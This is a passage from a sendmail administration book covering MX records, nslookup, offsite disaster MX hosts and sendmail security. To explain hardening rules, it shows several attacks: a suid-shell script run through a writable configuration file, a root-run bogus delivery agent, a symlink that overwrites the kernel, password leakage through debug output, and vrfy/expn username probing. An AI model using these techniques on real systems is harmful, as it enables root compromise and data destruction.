  • Look to see whether foo has an A record. If it does, go ahead and try to deliver the mail message directly to foo. If it lacks an A record, bounce the message. This approach runs the risk that foo may not be configured to properly accept mail (thus causing mail to disappear down a black hole). Still, this approach may be desirable in some circumstances. V8 sendmail with the TryNullMXList (w) option (see Section 34.8.71) set always tries to connect to foo. [13]

    [13] As does the UIUC version of IDA sendmail. Other versions of IDA (such as KJS) do not.

  • Assume (even though it has not been configured to do so) that foo should be treated as local to hostB. No version of sendmail makes this assumption.

This situation is not an idle exercise. Consider the MX record for uuhost presented in the previous section:

uuhost   IN    MX  10 uucpserver

Here, uuhost has no A record, because it is connected to uucpserver via a dial-up line. If uucpserver is not configured to recognize uuhost as one of its UUCP clients, and if mail is sent from uucpserver to uuhost, it will query DNS and get itself as the MX record for uuhost. As we have shown, that MX record is discarded, and an ambiguous situation has developed.

Previous: 21.2 How sendmail Uses DNS | sendmail | Next: 21.4 How to Use nslookup
21.2 How sendmail Uses DNS | Book Index | 21.4 How to Use nslookup


[Chapter 21] 21.4 How to Use nslookup

sendmailSearch this book
Previous: 21.3 Set Up MX Records Chapter 21
DNS and sendmail 		Next: 21.5 Prepare for Disaster

21.4 How to Use nslookup

If your site is connected to the Internet, you can use the nslookup(1) program to interactively find MX and other records. To run nslookup, just type its name:

% nslookup

Note that you may have to give the full pathname. Under SunOS, nslookup lives in the /usr/etc directory; under Ultrix, in /usr/ucb; and under HP-UX, in /usr/bin.

Once nslookup is running, it prints the name of your default name server and the IP address for that machine, then a > character as a prompt and awaits input:

Server:  Your.Main.Server
Address:  123.45.67.8

>

To tell nslookup to look up only MX records, [14] use the set command:

[14] Beginning with V8.7 sendmail, you can also use the /mx command in -bt rule-testing mode (see Section 38.5.2, "Look Up MX Records with /mx") to look up MX records.

> set type=mx
>

Now look up some real hosts and domains. First look up the domain sendmail.org by entering its name at the prompt:

> sendmail.org.

Note the trailing dot that tells nslookup(1) that the local, default domain should not be appended prior to the lookup. The output produced by the above lookup looks like this:

> sendmail.org.
Server:
Address:  123.45.67.8

sendmail.org    preference = 20, mail exchanger = mail1.reference.com
sendmail.org    preference = 30, mail exchanger = mail2.reference.com
sendmail.org    preference = 10, mail exchanger = knecht.oxford.reference.com
mail1.reference.com     inet address = 206.171.3.24
mail2.reference.com     inet address = 128.102.240.18
knecht.oxford.reference.com     inet address = 204.247.98.2
>

The first two lines again show the name and IP address of the local DNS server. The next three lines show that the domain sendmail.org has three MX records. Mail addressed to that domain is sent to the machine with the lowest preference (cost), which happens to be knecht.oxford.reference.com. [15] If that machine is down (or not accepting mail), the message is sent to the machine with the next higher cost, mail1.reference.com. The last three lines show the IP addresses (A records) for those machines.

[15] Note that case is not significant in domain names; all of the following are the same: org, OrG, ORG.

Now look up a real UUCP host, lady. Enter its name as if it were a part of the icsi.berkeley.edu domain:

> lady.icsi.berkeley.edu.

The output produced shows that lady has an MX record:

lady.icsi.berkeley.edu   preference = 5, mail exchanger = icsib.ICSI.Berkeley.EDU
icsib.ICSI.Berkeley.EDU inet address = 128.32.201.15
>

Mail sent to lady.icsi.berkeley.edu is instead delivered to the machine named icsib.ICSI.Berkeley.EDU, which in turn forwards that mail over a dial-up line to the UUCP host lady.

Machines that have MX records do not necessarily have A records. The host lady is such a machine. You tell nslookup(1) to look up an A record with the set command:

> set type=a
> lady.berkeley.edu.

*** No address information available for lady.berkeley.edu.

The nslookup(1) program is a useful tool for performing all the same lookups that are done by sendmail. Each type of lookup corresponds to a set type. The list of some available nslookup(1) types is shown in Table 21.1.

Table 21.1: Some nslookup Types
Type | Description
a | IP address
cname | Canonical name for an alias
hinfo | Host CPU and operating system type
mx | Mail exchanger records
ns | Name server record
any | Union of all records

To exit nslookup(1), just type exit (or Control-D if that fails).

Previous: 21.3 Set Up MX Records | sendmail | Next: 21.5 Prepare for Disaster
21.3 Set Up MX Records | Book Index | 21.5 Prepare for Disaster


[Chapter 21] 21.5 Prepare for Disaster

sendmailSearch this book
Previous: 21.4 How to Use nslookup Chapter 21
DNS and sendmail 		Next: 21.6 Pitfalls

21.5 Prepare for Disaster

Disasters can take many forms and, by their very nature, are unexpected. If DNS and mail are to continue to work, expecting the unexpected is vital. The kinds of disasters that one must anticipate vary from the mundane to the catastrophic:

  • A reboot or scheduled down-time for dumps on the mail or DNS server should only cause mail to be delayed, not lost.

  • A failed component on the mail or DNS server could cause mail delivery to be delayed anywhere from a few hours to a few days. A delay of over three to five days could cause many hosts to bounce queued mail unless steps are taken to receive that mail elsewhere.

  • Natural disasters can disrupt site or network connectivity for weeks. The Loma Prieta earthquake on the West Coast of the United States lasted only a few minutes but knocked out electric power to many areas for far longer. Fear of gas leaks prevented repowering many buildings for up to two weeks. A hurricane, flood, fire, or even an errant backhoe could knock out your institution for weeks.

21.5.1 Offsite MX Hosts

When mail can't be received, whether because of a small event or a large disaster, an offsite MX host can save the day. An offsite MX host is simply another machine that can receive mail for your site when your site is unavailable. The location of the offsite machine depends on your situation. For a subdomain at one end of a microwave link, having an offsite host on the other side of the microwave might be sufficient. For a large site, such as a university, a machine at another university (possibly in a different state or country) would be wise.

Before we show how to set up offsite MX hosts, note that offsite MX hosts are not an unmixed blessing. If an offsite MX host does not handle mail reliably, you could lose mail. In many cases it is better not to have an offsite MX host than to have an unreliable one. Without an MX site, mail will normally be queued on the sending host. A reliable MX backup is useful, but an unreliable one is a disaster.

You should not unilaterally select a host to function as an offsite MX host. To set up an offsite MX host, you need to negotiate with the managers of other sites. By mutual agreement, another site's manager will configure that other machine to accept mail bound for your site (possibly queueing weeks' worth of mail) and configure that site to forward that mail to yours when your site comes back up.

For example, suppose your site is in the state of Iowa, in the United States. Further suppose that in Northern Japan there is a site with which you are friendly. You could negotiate with that site's manager to receive and hold your mail in a disaster. When the site is set up to do so, you first add a high-cost MX record for it:

mailhost.uiowa.edu.   IN   MX 2     mailhost.uiowa.edu.
mailhost.uiowa.edu.   IN   MX 10    backup.uiowa.edu.
mailhost.uiowa.edu.   IN   MX 900   pacific.north.jp.      <-  note

To be sure the MX works, send mail to yourself via that new MX site:

% mail you%mailhost.uiowa.edu@pacific.north.jp

[16] Here, the % in the address causes the message to first be delivered to pacific.north.jp. That machine then throws away its own name and converts the remaining % to an @. The result is then mailed back to you at

[16] This example presumes that pacific.north.jp can handle the % "hack." Most places do, so this is probably a safe assumption.

you@mailhost.uiowa.edu

This verifies that the disaster MX machine can get mail to your site when it returns to service.

During a disaster the first sign of trouble will be mail for your site suddenly appearing in the queue at pacific.north.jp. The manager there should notice and set up a separate queue to hold the incoming mail until your site returns to service (see Section 23.7.1, "Handling a Down Site"). When your site recovers, you can contact that manager and arrange for a queue run to deliver the backlog of mail.

If your site is out of service for weeks, the backlog of mail might be partly on tape or some other backup media. You might even want to negotiate an artificially slow feed so that your local spool directory won't overfill.

Even in minor disasters an MX host can save much grief because delivery will be serialized. Without an MX host, every machine in the world that had mail for your machine would try to send it at the same time, that is, when your machine returns to service. That could overload your machine and even crash it, causing the problem to repeat over and over.

21.5.2 Offsite Servers

A disaster MX is good only as long as your DNS services stay alive to advertise it. Most sites have multiple name server machines to balance the load of DNS lookups and to provide redundancy in case one fails. Unfortunately, few sites have offsite name servers as a hedge against disaster. Consider the disaster MX record developed above:

mailhost.uiowa.edu.   IN   MX 900   pacific.north.jp.

Ideally, one would want pacific.north.jp to queue all mail until the local site is back in service. Unfortunately, all DNS records contain a Time To Live (TTL) that may or may not be present in the declaration line:

mailhost.uiowa.edu.   IN   MX 900   pacific.north.jp.

                   TTL implied

mailhost.uiowa.edu. 86400  IN   MX 900   pacific.north.jp.

                    TTL specified as 24 hours in seconds

When other sites look up the local site, they cache this record. They will not look it up again until 24 hours have passed. Therefore if an earthquake strikes, all other sites will forget about this record after 24 hours and will not be able to look it up again.

In general, records set up for disaster purposes should be given TTLs that are over a month:

mailhost.uiowa.edu. 3600000  IN   MX 900   pacific.north.jp.

                    TTL specified as 41 days in seconds

But note that TTLs should be the same for all records so that they will all time out the same:

mailhost.uiowa.edu.  3600000 IN   MX 2     mailhost.uiowa.edu.
mailhost.uiowa.edu.  3600000 IN   MX 10    backup.uiowa.edu.
mailhost.uiowa.edu.  3600000 IN   MX 900   pacific.north.jp.

If you gave the disaster record a long TTL and left the default for your normal MX records, your normal records would time out and disappear from other sites' caches. This would result in all mail suddenly and mysteriously going to the disaster host when there was no disaster to cause it.

Note that long TTLs can make updates to your DNS files awkward. Updates won't take effect until the TTL times out. If you anticipate a future change, say a rearrangement of your MX records, you can change the TTLs to 2 hours, wait a month for the long TTL to time out, then make and test your changes. [17]

[17] And hope that no disaster strikes in the meanwhile. A better technique is to set up an offsite secondary DNS server with a large TTL in the SOA record.

If many hosts at your site receive mail (rather than a central mail server), it is necessary to add a disaster record for each. Unfortunately, when the number of such hosts at your site is greater than 100 or so, individual disaster MX records become difficult to manage simply because of scale.

At such sites, a better method of disaster preparedness is to set up pacific.north.jp as another primary DNS server for the local site. There are two advantages to this "authoritative" backup server approach:

  • An offsite primary server eliminates the need to set up individual MX disaster records.

  • An out-of-country primary server can lower the network impact of DNS lookups of your site.

Unfortunately, setting up an offsite or out-of-country server can be extremely difficult. We won't show you how to do that here. Instead, we refer you to the book DNS and BIND by Paul Albitz and Cricket Liu (O'Reilly & Associates, 2nd edition, 1997).

Previous: 21.4 How to Use nslookup | sendmail | Next: 21.6 Pitfalls
21.4 How to Use nslookup | Book Index | 21.6 Pitfalls


[Chapter 21] 21.6 Pitfalls

sendmailSearch this book
Previous: 21.5 Prepare for Disaster Chapter 21
DNS and sendmail 		Next: 22. Security

21.6 Pitfalls

  • When sendmail finds multiple A records for a host (and no MX records), it tries them in the order returned by DNS. DNS usually returns the A record that is on the same network first. The sendmail program assumes that DNS returns addresses in a useful order. If the address that sendmail always tries first is not the most appropriate, look for problems with DNS, not with sendmail.

  • There is no way to discover that another site has used yours as a disaster MX site unless someone at that other site tells you. Instead, you may one day suddenly discover many queued messages from outside your site destined for some host you've never heard of before.

  • Under old versions of DNS an error in the zone file causes the rest of the file to be ignored. The effect is as though many of your hosts suddenly disappeared. This problem has been fixed in 4.8.3 and 4.9.x.

  • Sites with a central mail hub should give that hub the role of a primary DNS server. If /etc/resolv.conf contains localhost as its first record, lookups will be faster. Failure to make the mail hub a DNS server runs the risk of mail failing and queueing when the hub is up but the other DNS servers are down or unreachable.

  • Prior to V8.8 sendmail the maximum number of MX records that could be listed for a single host was 20. Some sites, such as aol.com, will reach that limit soon and exceed it. Beginning with V8.8 sendmail, that maximum has been increased to 100.

Previous: 21.5 Prepare for Disaster | sendmail | Next: 22. Security
21.5 Prepare for Disaster | Book Index | 22. Security


[Chapter 22] Security

sendmailSearch this book
Previous: 21.6 Pitfalls Chapter 22 Next: 22.2 The Environment

22. Security

Contents:
Why root?
The Environment
SMTP Probes
The Configuration File
Permissions
The Aliases File
Forged Mail
Security Features
Pitfalls

The sendmail program can be an open door to abuse. Unless the administrator is careful, the misuse or misconfiguration of sendmail can lead to an insecure and possibly compromised system. Since sendmail is usually installed to run as an suid root process, it is a prime target for intrusion. The "Internet worm," for example, used a flaw in old versions of sendmail as one way to gain entry to thousands of machines. [1] If sendmail is not properly installed, external probes over networks can be used to gain information that is valuable in attempting entry. Once inside, improper file permissions can be used to trick sendmail into giving away root privilege. Even email cannot be trusted, and forged email can cause some users to give away their passwords.

[1] That flaw has been eliminated - wrongly by some vendors who turned all debugging completely off correctly by most who simply disabled SMTP debugging.

In this chapter we present several ways to protect your site from intrusion via sendmail. Most are just good common sense, and the experienced system administrator may be offended that we state the obvious. But not all system administrators are experienced, and not all who administer systems are system administrators. If you fall into the latter category, you may wish to keep keep a good, general UNIX reference by your side to better appreciate our suggestions.

22.1 Why root?

One common complaint about sendmail centers on the fact that it must usually be run suid root (that is, run as root no matter who actually runs it). [2] But for the most part it is necessary for sendmail to run as root to satisfy the legitimate needs of users. Consider the following:

[2] Contrary to popular belief, sendmail does not run as root to handle local delivery (except that sendmail can deliver directly to files when necessary, but that is not directly germane to this discussion). Local delivery is handled by delivery agents (such as /bin/mail), which may run suid root themselves (or sgid mail as in SysV).

  • Users want ~/.forward files to work even when their home directory is set to mode 700. The sendmail program requires root privilege so that it can temporarily become the user to read and process the ~/.forward file.

  • Users want :include: mailing-list files readable only by themselves and sendmail. The sendmail program requires root privilege so that it can temporarily become the owner of the list.

  • Users want programs that run on their behalf to run as themselves. This requires root privileges, and running as anything else would be potentially very dangerous.

  • Users want sendmail to listen on a TCP/IP port that is common (port 25). The sendmail program requires root privilege so that it can initiate a listening connection to its privileged port.

Some folks have been tempted to run sendmail as an untrusted pseudo-user (such as nobody). But this doesn't really work. For example, it causes programs in users' ~/.forward files to be run as nobody, and it requires the queue to be owned by nobody. Consequently, such a scheme allows any user to break into and modify the queue. [3]

[3] But note that V8.8 sendmail has loosened the latter for use on firewall machines, where it won't complain about non-root qf files if it is not running as root.

22.1.1 Test seteuid and setreuid

Clearly, many of sendmail's duties require it to run as root. As a corollary, however, whenever sendmail does not need to be root, it should become the appropriate nonprivileged user. It does this by using the following bit of logic:

  • If it was compiled with support for seteuid(3) (see Section 18.8.55, USESETEUID), use that routine to set the effective uid to that of the desired non-root user. This is less preferred than the following:

  • If it was compiled with support for setreuid(3) (see Section 18.8.9, HAS...), use that routine to set the effective and real uids to those of the desired non-root user.

  • Otherwise, use setuid(3) to become the desired non-root user.

Note that setreuid(3) is preferred over seteuid(3) [4] and setuid(3) because it allows sendmail to temporarily give away both its real and effective root privilege, then to get it back again. To illustrate the need for this behavior, consider processing a mailing list that saves mail to two different files:

[4] Except when seteuid(3) is Posix compliant. Old implementations of seteuid(3) didn't properly save the uid; hence the preference, in that, case for setreuid(3).

/u/bill/archive          <-  owned by the user bill, mode 4600
/u/alice/archive         <-  owned by the user alice, mode 4600

Further consider that these files both have permissions of suid to the individual users [5] and are writable only by the individual users. To perform delivery in this instance, sendmail must [6] first become bill (this requires root privilege to do). When it is done, sendmail must become root again so that it can next become alice. By retaining a real uid of root (with the seteuid(3) routine), sendmail is able to change its effective uid back and forth between users and root as needed.

[5] When delivering to files, sendmail will become the owner of the file if that file's suid bit is set and if no execute bits are set.

[6] We say "must" because in an NFS environment, root is mapped to nobody so, in that instance, even root won't be able to write to bill's files.

See the description of the test directory in Section 18.8.55 for more on this subject.

Previous: 21.6 Pitfalls | sendmail | Next: 22.2 The Environment
21.6 Pitfalls | Book Index | 22.2 The Environment


[Chapter 22] 22.2 The Environment

sendmailSearch this book
Previous: 22.1 Why root? Chapter 22
Security 		Next: 22.3 SMTP Probes

22.2 The Environment

As a general rule, programs should never trust their environment. Such trust can lead to exploitation that has grave security consequences. To illustrate, consider the often misused SunOS LD_LIBRARY_PATH environment variable. Programs that use shared libraries look at this variable to determine which shared library routines they should use and in what order they should load them. One form of attack against non-suid programs (such as some delivery agents) is to modify the LD_LIBRARY_PATH variable (as in a user's ~/.forward file) to introduce Trojan horse library routines in place of the real system's library routines. Certainly, sendmail should not pass such variables to its delivery agents.

To improve security, V8 sendmail began deleting variables from its environment before passing them to its delivery agents. It removed the IFS variable to protect Bourne shell-script agents and all variables beginning with "LD_" to protect all delivery agents from shared library attacks.

Beginning with V8.7, sendmail now takes the opposite approach. Instead of trying to second-guess attackers, it instead constructs the delivery agent environment from scratch. In this scheme it defines the AGENT variable as sendmail, and the TZ variable is as appropriate (see the TimeZoneSpec (t) option, Section 34.8.69, TimeZoneSpec (t)). Also, in support of operating systems that require them, it passes the ISP and SYSTYPE variables from its own environment to the delivery agent's environment.

22.2.1 The E Configuration Command

When sendmail executes (runs) a delivery agent (see Section 30.6.2, "The Child"), it passes to that delivery agent an environment that includes only the items described above. Some delivery agents, however, may require additional environmental variables to function properly. For those special cases, sendmail offers the E configuration command to set individual environment variables that will be passed to all delivery agents:

Evar=value

The var is the environment variable that will be either defined or redefined. It is immediately followed (with no intervening space) by an equal sign and then (again with no intervening space) by the value that will be assigned to it.

If the =value is missing, sendmail looks up the variable var in its environment and, if it is found, uses that value. If the = is present but the value is absent, the var is assigned an empty string (a single zero byte). If the var is missing, a variable name that is an empty string is used.

The var is looked up to see whether it is already a part of the delivery agent's environment. If it is, it is redefined to be the new value. If it is not, it is added to that list of variables. If that addition will cause the list to exceed MAXUSERENVIRON variables (as defined in conf.h, see Section 18.8.19, MAX...), the definition is silently ignored.

Whether or not the var was added to, or updated in, the delivery agent's environment, it is always added or updated to sendmail's environment with putenv(2). If this call fails, sendmail logs and prints the following message:

setuserenv: putenv(var=value) failed

Only one var may be defined per E command. Additional environment variables require multiple E commands. Each E command affects all delivery agents. There is no way to tune the environment on a per delivery agent basis.

For DG/UX under V8.7 sendmail you will need to declare

E_FORCE_MAIL_LOCAL_=yes

in your configuration file to enable /bin/mail to work properly. Beginning with V8.8 sendmail, this is already done in cf/ostype/dgux.m4.

Previous: 22.1 Why root? | sendmail | Next: 22.3 SMTP Probes
22.1 Why root? | Book Index | 22.3 SMTP Probes


[Chapter 22] 22.3 SMTP Probes

sendmailSearch this book
Previous: 22.2 The Environment Chapter 22
Security 		Next: 22.4 The Configuration File

22.3 SMTP Probes

Although SMTP probes can be legitimate uses of the network, they can also pose potential risks. They are sometimes used to see whether a bug remains unfixed. Sometimes they are used to try to gather user login names or to feed a program unexpected input in such a way that it breaks and gives away root privilege.

22.3.1 SMTP debug

An "unfixed bug" probe can use the SMTP debug and showq commands. The SMTP debug command allows the local sendmail to be placed into debugging mode (as with the -d command-line switch; see Section 37.1, "The Syntax of -d") from any other machine anywhere on the network. The SMTP showq command allows outsiders to view the contents of the mail queue.

If SMTPDEBUG (see Section 18.8.42, SMTPDEBUG) is defined when sendmail is compiled, the SMTP debug and showq commands are allowed to work; otherwise, they are disabled. SMTPDEBUG should be defined only when modifying the sendmail code and testing a new version. It should never be defined in an official release of sendmail. To see whether it has been defined at your site, run the following command:

% telnet localhost 25
Trying 123.45.6.7 ...
Connected to localhost.
Escape character is '^]'.
220 localhost sendmail 8.8.4 ready at Fri, 13 Dec 1996 06:36:12 -0800
debug
500 Command unrecognized
quit
221 localhost.us.edu closing connection
Connection closed by foreign host.
%

When connected, enter the command debug. If you get the answer 500 Command unrecognized, you know that SMTPDEBUG is not enabled. If, on the other hand, you get the answer 200 Debug set, SMTPDEBUG is defined on your system, and you should immediately take steps to correct the situation. Either contact your vendor and request a new version of sendmail, or get the sendmail source and compile it with SMTPDEBUG undefined.

When SMTPDEBUG is undefined and an outsider connects to the local machine and attempts to execute the debug or showq commands, sendmail will syslog(3) a message like the following:

Jul 22 07:09:00 here.domain sendmail[192]: "debug" command from there.domain

      (123.45.67.89)

This message shows the name of the machine that attempts the probe, or (there.domain), and the IP address of that machine. Note that this message is logged only if the LogLevel (L) option (see Section 34.8.33, LogLevel (L)) is nonzero.

22.3.2 SMTP vrfy and expn

You may be dismayed to learn that the login names of ordinary users can be used to break into a system. It is not, for example, all that unusual for a user to select a password that is simply a copy of his or her login name, first name, last name, or some combination of initials. A risk of attack can arise from outsiders guessing login names. Any that they find can be used to try to break in, and the SMTP vrfy gives an attacker the means to discover login names.

The SMTP vrfy command causes sendmail to verify that it will accept an address for delivery. If a user's login name is given, the full name and login name are printed:

vrfy george
250 George Washington <george@wash.dc.gov>

Here, the 250 SMTP reply code (see RFC821) means a successful verification. [7] If the user is unknown, however, sendmail says so:

[7] See the F=q flag (Section 30.8.36, F=q) for a way and reason to change this SMTP reply code to 252.

vrfy foo
550 foo... User unknown

The SMTP expn command is similar to the vrfy command, except that in the case of a mailing list, it will show all the members of that list. The SMTP expn command causes sendmail to expand (show all the recipients) of an address. To illustrate the risk, consider that many sites have aliases that include all or a large segment of users. Such aliases often have easily guessed names, such as all, everyone, or staff. A probe of all, for example, might produce something like the following:

expn all
250-George Washington <george@wash.dc.gov>
250-Thomas Jefferson <tj@wash.dc.gov>
250-Ben Franklin <ben@here.us.edu>
250-Betsy Ross <msflag@ora.com>
250 John Q. Public <jqp@aol.com>

With well-designed passwords these full and login names can safely be given to the world at large. But if one user (say jqp) has a poorly designed password (such as jqpublic), your site's security can easily be compromised. [8] Note that not all uses of vrfy or expn represent probes. Some MUAs, [9] for example, routinely vrfy each recipient before sending a message.

[8] The fingerd(8) utility can also reveal login IDs.

[9] The GNU fingerd(8) daemon also uses vrfy to provide mailbox information.

SMTP vrfy and expn commands are individually logged in a form like one of the following:

Sep 22 11:40:43 yourhost sendmail[pid]: other.host: vrfy all
Sep 22 11:40:43 yourhost sendmail[pid]: [222.33.44.55]: vrfy all
Sep 22 11:40:43 yourhost sendmail[pid]: other.host: expn all
Sep 22 11:40:43 yourhost sendmail[pid]: [222.33.44.55]: expn all

This shows that someone from the outside (other.host in the first and third examples) attempted to probe for usernames in the mailing list named all. In the second and last examples the probing hostname could not be found, so the IP address is printed instead (in the square brackets). Note that this form of logging is enabled only if the LogLevel (L) option (see Section 34.8.33) is greater than 5.

Pre-V8 versions of sendmail do not report SMTP vrfy or expn attempts at all. Some versions of sendmail (such as the HP_UX version) appear to verify but really only echo the address stated.

V8 sendmail allows vrfy and expn services to be selectively accepted or rejected on the basis of the setting of the PrivacyOptions (p) option (see Section 34.8.47, PrivacyOptions (p)). For best security we recommend this setting:

O PrivacyOptions=goaway

Previous: 22.2 The Environment | sendmail | Next: 22.4 The Configuration File
22.2 The Environment | Book Index | 22.4 The Configuration File


[Chapter 22] 22.4 The Configuration File

sendmailSearch this book
Previous: 22.3 SMTP Probes Chapter 22
Security 		Next: 22.5 Permissions

22.4 The Configuration File

There are a number of security holes that can be opened up by commands given carelessly in the configuration file. Such holes can be serious because sendmail starts to run as root, provided that it has not been given an unsafe command-line switch (such as -C; see Section 36.7.15, -C) or an unsafe option (see Section 34.1.4, "Options that Are Safe"). It continues as root until it delivers mail, whereupon it changes its identity to that of an ordinary user. When sendmail reads its configuration file, it generally does so while it is still root. Consequently, as we will illustrate, it may be able to read and overwrite any file.

22.4.1 Accept/Reject Connections via libwrap.a

The TCP wrapper package is written and maintained by Wietse Venema at the Department of Mathematics and Computing Science, The Netherlands. It is available via anonymous FTP from:

ftp://ftp.cert.org/pub/tools/tcp_wrappers/
ftp://ftp.win.tue.nl/pub/security/

This package is used to screen incoming network connections and to accept or reject them on the basis of hostname, domain, or IP number. It is a powerful adjunct to security, and if you have not already done so, you should install it at your site.

Prior to V8.8 the only way sendmail could take advantage of this package was to be run from inetd(8) (see Section 36.7.11, -bs). Beginning with V8.8 sendmail, support for this package is built in.

If TCPWRAPPERS is defined in compiling (see Section 18.8.49, TCPWRAPPERS), sendmail will automatically use that package to verify and screen all incoming SMTP connections. If, as CERT recommends, you have ALL:ALL in your hosts.deny file, you will need to add this line to your hosts.allow file:

sendmail:ALL

Then, to selectively reject connection, you might add a line like this to your hosts.deny file:

sendmail:spam.host.domain

This causes the TCP wrapper package to tell sendmail to reject all SMTP connections from the spamming host spam.host.domain.

When mail comes in from spam.host.domain, sendmail will issue this SMTP message as a reply to all SMTP commands from that host:

550 Access denied

The only exception is the QUIT command (and beginning with V8.8.5, the HELO, EHLO, and NOOP commands), which allows the spamming host to disconnect.

Use of the TCP wrapper package imposes additional network traffic that may not be desirable. Both it and sendmail, for instance, may look up the same host with DNS. The wrapper software also sends identd(8) queries that a duplicate those used by sendmail. Finally, note that two files need to be opened and read for each connection. We recommend that you exclude support for this package (especially at high-volume sites) until you actually need it. At low- to medium-volume sites you may wish to include support for this package in sendmail but then to not implement that support (in hosts.allow and hosts.deny) until the need arises.

22.4.2 The F Command - File Form

The file form of the F configuration command (see Section 32.1.2, "The F Class Command") can be used to read sensitive information. That command looks like this in the configuration file:

FX/path pat

This form is used to read class macro entries from files. It can cause problems through a misunderstanding of the scanf(3) pattern pat. The /path is the name of the file, and the optional pat is a pattern to be used by scanf(3) (see Section 32.1.2.1, "scanf(3) variations").

To illustrate the risk of the pat, consider the following configuration file entry:

Fw/etc/myhostnames %[^#]

Normally, the F command reads only the first whitespace-delimited word from each line of the file. But if the optional pattern pat is specified, the F command instead reads one or more words from each line based on the nature of the pattern. The pattern is used by scanf(3) to extract words, and the specific pattern used here [^#] causes scanf(3) to read everything up to the first comment character (the #) from each line. This pat allows multiple hostnames to be conveniently listed on each line of the file. Now assume that a new administrator, who is not very familiar with sendmail, decides to add an F command to gather a list of UUCP hosts from the /etc/uucp/Systems file. Being a novice, the new administrator copies the existing entry for use with the new file:

FU/etc/uucp/Systems %[^#]

This is the same pattern that was correctly used for /etc/myhostnames. Unfortunately, the Systems file contains more than just host entries on each line:

linda Any ACU 2400 5551212  "" \d\n in:-\r-in: Uourhost word: MublyPeg
hoby Any ACU 2400 5551213  "" \d\n in:-\r-in: Uourhost word: FuMzz3.x

A part of each line (the last item in each) contains nonencrypted passwords. An unscrupulous user, noticing the mistaken [^#] in the configuration file, could run sendmail with a -d36.5 debugging switch and watch each password being processed. For example,

% /usr/lib/sendmail -d36.5 -bt < /dev/null
  <-  ... some output deleted
STAB: hoby 1 entered
STAB: Any 1 entered
STAB: ACU 1 entered
STAB: 2400 1 entered
STAB: 5551213 1 entered
STAB: "" 1 type 1 val 0 0 200000 0
STAB: \d\n 1 entered
STAB: in:-\r-in: 1 entered
STAB: Uourhost 1 entered
STAB: word: 1 entered
STAB: FuMzz3.x 1 entered                           <-  note
STAB: local 3 type 3 val 34d00 0 0 0
STAB: prog 3 type 3 val 34d80 0 0 0

Note the third line from the bottom, where the password for the UUCP login into the host hoby is printed. This example illustrates two rules about handling the configuration file:

  • Avoid using the F command to read a file that is not already publicly readable. To do so can reveal sensitive information. Even if the scanf(3) option is correct, a core dump [10] can be examined for sensitive information from otherwise secured files.

    [10] Most versions of UNIX disallow core dumps of suid root programs.

  • Avoid adding a new command to the configuration file by blindly copying and modifying another. Try to learn the rules governing the command first.

22.4.3 The F Command - Program Form

Another form of the F (File) configuration command is the program form, which looks like this:

FX|/path

Here, the | prefix to the /path tells sendmail that /path is the name of a program to run. The output produced by the program is appended to the class, here X.

To illustrate another potential security risk, consider a configuration file that is group writable, perhaps by a few administrators who share the job of postmaster. To break into root, the attacker only needs to assume the identity of one of those users and, under that identity, edit the configuration file. Consider the following bogus entry added by an attacker to that configuration file:

FX|/tmp/.sh

Consider further a change to the DefaultUser option (see Section 34.8.15, DefaultUser (g)(u)) that causes the default uid and gid to become those of root:

O DefaultUser=0:0

With these changes in place, the program (actually a shell script) called /tmp/.sh is run by sendmail to fill the class X with new values. All this seems harmless enough, but suppose /tmp/.sh does the unexpected:

#!/bin/sh
cp /bin/sh /tmp/.shell
chmod u+s /tmp/.shell

Here, the Bourne shell is copied to /tmp/.shell, and the suid root bit is set. Now, any user at all can run sendmail and become root:

% ls -l /tmp/.shell
/tmp/.shell not found
%  /usr/lib/sendmail -bt < /dev/null
% ls -l /tmp/.shell
-rwsr-xr-x  1 root       122880 Sep 24 13:20 /tmp/.shell

The program form of the F configuration command is clearly dangerous.

  • The sendmail configuration file must never be writable by anyone other than root. It should also live in a directory, every path component of which is owned by and writable only by root. (We'll discuss this latter point in greater detail soon.) If the configuration file is created with the m4 technique, then care must be taken to ensure that only root can install it.

22.4.4 The P= of Delivery Agents

Just as the program form of the F command can pose a security risk if the configuration file is poorly protected, so can the M delivery agent definition. Specifically, the P= equate for a delivery agent (see Section 30.4.9, P=) can be modified to run a bogus program that gives away root privilege. Consider the following modification to the local delivery agent:

Mlocal, P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u
             -v
        becomes
             -v
Mlocal, P=/tmp/mail, U=0, F=SrlsDFMmnP, S=10, R=20, A=mail -d $u

                     note   note

Here, local mail should be delivered with the /bin/mail program, but instead it is delivered with a bogus frontend, /tmp/mail. If /tmp/mail is carefully crafted, users will never notice that the mail has been diverted. The S flag in the F= equate (see Section 30.8.40, F=S) causes sendmail to retain its default identity when executing the bogus /tmp/mail. The U=0 equate (see Section 30.4.13, U=) causes that default to become the identity of root.

  • Delivery agent P= equates must be protected by protecting the configuration file. As an additional precaution, never use relative pathnames in the P= equate.

  • The F=S and U=0 are especially dangerous. They should never appear in your configuration file unless you have deliberately placed them there and are 100 percent certain of their effect.

22.4.5 The S Option and the Statistics File

When sendmail attempts to record its delivery agent statistics (see Section 26.2.1, "The sendmail.st File"), it checks for the existence and write permissions of the file specified by the StatusFile (S) option (see Section 34.8.66, StatusFile (S)). The sendmail program does not care where that file lives or what permissions it has - only that it exists.

A security problem can arise if one is tempted to locate the statistics file in a spool or temporary area. Consider the following location, for example:

OS/usr/tmp/sendmail.st

Here the administrator sets the StatusFile (S) option to locate the statistics file in the /usr/tmp directory. The intention is that the file can be easily created by anyone who wishes to gather statistics for a while, then removed. Unfortunately, the /usr/tmp directory is usually world-writable.

Thus any unhappy or malicious user can bring the system to its knees:

% cd /usr/tmp
% ln -s /vmunix sendmail.st

Here, sendmail clobbers the disk copy of the kernel. Nothing bad may happen at first, [11] but the machine will require manual intervention to boot in the future. [12] Clearly, precautions must be taken. For example, any file that sendmail writes to (such as the StatusFile (S) option statistics file or the aliases database files) must be writable only by root and live in a directory, every path component of which is writable only by root.

[11] Programs that need kernel symbols, such as ps(1), will cease to work or will produce garbage output.

[12] The savvy administrator can still boot off the network or from a CD-ROM and quickly install a new kernel.

Previous: 22.3 SMTP Probes | sendmail | Next: 22.5 Permissions
22.3 SMTP Probes | Book Index | 22.5 Permissions


[Chapter 22] 22.5 Permissions

sendmailSearch this book
Previous: 22.4 The Configuration File Chapter 22
Security 		Next: 22.6 The Aliases File

22.5 Permissions

One technique that attackers use to gain root privilege is to first become a semiprivileged user like bin or sys. Such semiprivileged users often own the directories in which root-owned files live. By way of example, consider the following:

drwxr-sr-x 11 bin      2560 Sep 22 18:18 /etc
